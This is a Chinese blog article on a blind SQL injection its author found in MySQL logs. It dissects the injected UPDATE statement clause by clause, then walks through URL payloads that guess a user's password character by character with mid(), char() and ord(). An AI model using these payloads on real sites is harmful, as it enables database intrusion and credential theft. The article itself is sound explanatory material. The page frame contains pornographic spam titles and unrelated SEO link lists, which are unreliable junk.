电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術(shù)文章
文章詳情頁

遭遇一次MySQL猜解注入攻擊

瀏覽:2日期:2023-10-17 11:34:19

前些日子數(shù)據(jù)庫被入侵,文章的閱讀數(shù)都被纂改了,還好及時發(fā)現(xiàn)并做好備份。查一下 MySQL 語句記錄,發(fā)現(xiàn)這么原來是這么一句 SQL 在搗鬼:

UPDATE table SET views = ’1’ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#

PS:user 這個表是數(shù)據(jù)庫里一個以前測試用的表,表的結(jié)構(gòu)也寫到博文里面,暴露了字段。

這句 SQL 為什么能那么厲害呢?我們接下來分析一下。

1. 首先是 CAST(FirstName AS CHAR) 這個子句。MySQL 的 CAST() 函數(shù)可用來獲取一個類型的值,并產(chǎn)生另一個類型的值。具體的使用可以參看 MySQL CAST與CONVERT 函數(shù)的用法這篇文章。我們執(zhí)行一下,看看結(jié)果是什么:

mysql> SELECT CAST(FirstName AS CHAR) FROM user;+-------------------------+| CAST(FirstName AS CHAR) |+-------------------------+| Gonn || Mio || Google || yale |+-------------------------+4 rows in set

就是將 FirstName 這個字段全部轉(zhuǎn)成 CHAR 類型。

2. 接下來我們再看 IFNULL(CAST(FirstName AS CHAR),0x20) 這個子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否則它返回 expr2。具體可以參看《MySQL IFNULL()函數(shù)用法》。

執(zhí)行一下:

mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user;+--------------------------------------+| IFNULL(CAST(FirstName AS CHAR),0x20) |+--------------------------------------+| Gonn || Mio || Google || yale |+--------------------------------------+4 rows in set

雖然看起來結(jié)果沒啥不同,但是,它起到了一個作用。假設(shè) CAST 轉(zhuǎn)換成 CHAR 失敗,它就會返回 0x20 這個值,為后面的 ORD 提供作用。

3. 接下來再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 這個子句。MID() 這個函數(shù)就是截取字符串用的,具體可以看看《MySQL MID()函數(shù)用法》這個。

mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1);+----------------------------------------------------------------------------------------+| MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) |+----------------------------------------------------------------------------------------+| i |+----------------------------------------------------------------------------------------+1 row in set

就得到一個字母 i。

4. 關(guān)鍵的子句來了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函數(shù)返回字符串第一個字符的 ASCII 值, 《《MySQL ORD()函數(shù)用法》》。

mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1));+---------------------------------------------------------------------------------------------+| ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) |+---------------------------------------------------------------------------------------------+| 105 |+---------------------------------------------------------------------------------------------+1 row in set

就是 i 的 ASCII 碼是105.

如果是失敗,返回 0x20 這種情況:

mysql> SELECT ORD(’0x20’);+-------------+| ORD(’0x20’) |+-------------+| 48 |+-------------+1 row in set

兩種情況,在 ASCII 碼中都要比 112 前,就是下面的 hack 語句是可以執(zhí)行的。

UPDATE table SET views = ’1’ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#MySQL 猜解注入

在 MySQL 中內(nèi)置了很多函數(shù),利用它們,即使在沒有聯(lián)合查詢功能的老版本 MySQL 上也可以做一些意想不到的操作。假設(shè)網(wǎng)站存在于http://www.nm.net/,我們想知道用戶ID等于10的用戶的密碼,那么首先進(jìn)行如下請求:

http://www.nm.net/index.php?id=10 and length(password)=12#

我們通過 length() 函數(shù)以及是否正確返回正常頁面來確定用戶密碼的長度,這里我們猜解的是12位,注意數(shù)字后要有一個#號。接下來用mid()和char()暴力猜解口令的每一個字符,如果猜對了則頁面返回正常:

http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#

Mid()函數(shù)原型是“Mid(str,pos,len)”,也可以用substring()函數(shù)。Char()函數(shù)的參數(shù)是ASCII值,在0~255之間,一個遍歷過去就可以完成破解。

另外還可以用between()函數(shù)先判斷這個字符是數(shù)字還是字母,縮小范圍,加快暴力破解的速度。例如要判斷字符是否是小寫字母還可以用如下請求:

http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#

除了char()函數(shù),還可以用ord函數(shù)來進(jìn)行猜解。Ord函數(shù)可以得到字符的ASCII值,所以它也能實現(xiàn)類似的功能:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#

用ord函數(shù)的另一個好處就是可以使用大于小于這種運算符來確定字符的范圍:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#

就這樣慢慢一步步手工猜解注入。

標(biāo)簽: MySQL 數(shù)據(jù)庫
相關(guān)文章:
主站蜘蛛池模板: 深圳公司注册-工商注册公司-千百顺代理记账公司| pbootcms网站模板|织梦模板|网站源码|jquery建站特效-html5模板网 | 半自动预灌装机,卡式瓶灌装机,注射器灌装机,给药器灌装机,大输液灌装机,西林瓶灌装机-长沙一星制药机械有限公司 | 尾轮组_头轮组_矿用刮板_厢式刮板机_铸石刮板机厂家-双驰机械 | 硫酸亚铁-聚合硫酸铁-除氟除磷剂-复合碳源-污水处理药剂厂家—长隆科技 | 井式炉-台车式回火炉-丹阳市电炉厂有限公司 | 根系分析仪,大米外观品质检测仪,考种仪,藻类鉴定计数仪,叶面积仪,菌落计数仪,抑菌圈测量仪,抗生素效价测定仪,植物表型仪,冠层分析仪-杭州万深检测仪器网 | 迪威娱乐|迪威娱乐客服|18183620002 | 高铝轻质保温砖_刚玉莫来石砖厂家_轻质耐火砖价格 | 中山市派格家具有限公司【官网】 | 魔方网-培训咨询服务平台| 温控器生产厂家-提供温度开关/热保护器定制与批发-惠州市华恺威电子科技有限公司 | 手板-手板模型-手板厂-手板加工-生产厂家,[东莞创域模型] | 进口便携式天平,外校_十万分之一分析天平,奥豪斯工业台秤,V2000防水秤-重庆珂偌德科技有限公司(www.crdkj.com) | 台湾HIWIN上银直线模组|导轨滑块|TBI滚珠丝杆丝杠-深圳汉工 | 冷却塔改造厂家_不锈钢冷却塔_玻璃钢冷却塔改造维修-广东特菱节能空调设备有限公司 | 打孔器,打孔钳厂家【温州新星德牌五金工具】 | 钢格板|镀锌钢格板|热镀锌钢格板|格栅板|钢格板|钢格栅板|热浸锌钢格板|平台钢格板|镀锌钢格栅板|热镀锌钢格栅板|平台钢格栅板|不锈钢钢格栅板 - 专业钢格板厂家 | 浙江栓钉_焊钉_剪力钉厂家批发_杭州八建五金制造有限公司 | 单柱拉力机-橡胶冲片机-哑铃裁刀-江都轩宇试验机械厂 | 购买舔盐、舔砖、矿物质盐压块机,鱼饵、鱼饲料压块机--请到杜甫机械 | 二手色谱仪器,十万分之一分析天平,蒸发光检测器,电位滴定仪-湖北捷岛科学仪器有限公司 | 深圳彩钢板_彩钢瓦_岩棉板_夹芯板_防火复合彩钢板_长鑫 | 淘趣英语网 - 在线英语学习,零基础英语学习网站 | 蓝莓施肥机,智能施肥机,自动施肥机,水肥一体化项目,水肥一体机厂家,小型施肥机,圣大节水,滴灌施工方案,山东圣大节水科技有限公司官网17864474793 | 河南膏药贴牌-膏药代加工-膏药oem厂家-洛阳今世康医药科技有限公司 | 振动筛-交叉筛-螺旋筛-滚轴筛-正弦筛-方形摇摆筛「新乡振动筛厂家」 | 专业生产动态配料系统_饲料配料系统_化肥配料系统等配料系统-郑州鑫晟重工机械有限公司 | 强效碱性清洗剂-实验室中性清洗剂-食品级高纯氮气发生器-上海润榕科学器材有限公司 | 天津热油泵_管道泵_天津高温热油泵-天津市金丰泰机械泵业有限公司【官方网站】 | 依维柯自动挡房车,自行式国产改装房车,小型房车价格,中国十大房车品牌_南京拓锐斯特房车 - 南京拓锐斯特房车 | 成都中天自动化控制技术有限公司| 算命免费_生辰八字_免费在线算命 - 卜算子算命网 | 空气净化器租赁,空气净化器出租,全国直租_奥司汀净化器租赁 | 酶联免疫分析仪-多管旋涡混合仪|混合器-莱普特科学仪器(北京)有限公司 | 锂电池生产厂家-电动自行车航模无人机锂电池定制-世豹新能源 | 台湾HIWIN上银直线模组|导轨滑块|TBI滚珠丝杆丝杠-深圳汉工 | 郑州爱婴幼师学校_专业幼师培训_托育师培训_幼儿教育培训学校 | 体视显微镜_荧光生物显微镜_显微镜报价-微仪光电生命科学显微镜有限公司 | 广东恩亿梯电源有限公司【官网】_UPS不间断电源|EPS应急电源|模块化机房|电动汽车充电桩_UPS电源厂家(恩亿梯UPS电源,UPS不间断电源,不间断电源UPS) | 广东佛电电器有限公司|防雷开关|故障电弧断路器|智能量测断路器 广东西屋电气有限公司-广东西屋电气有限公司 |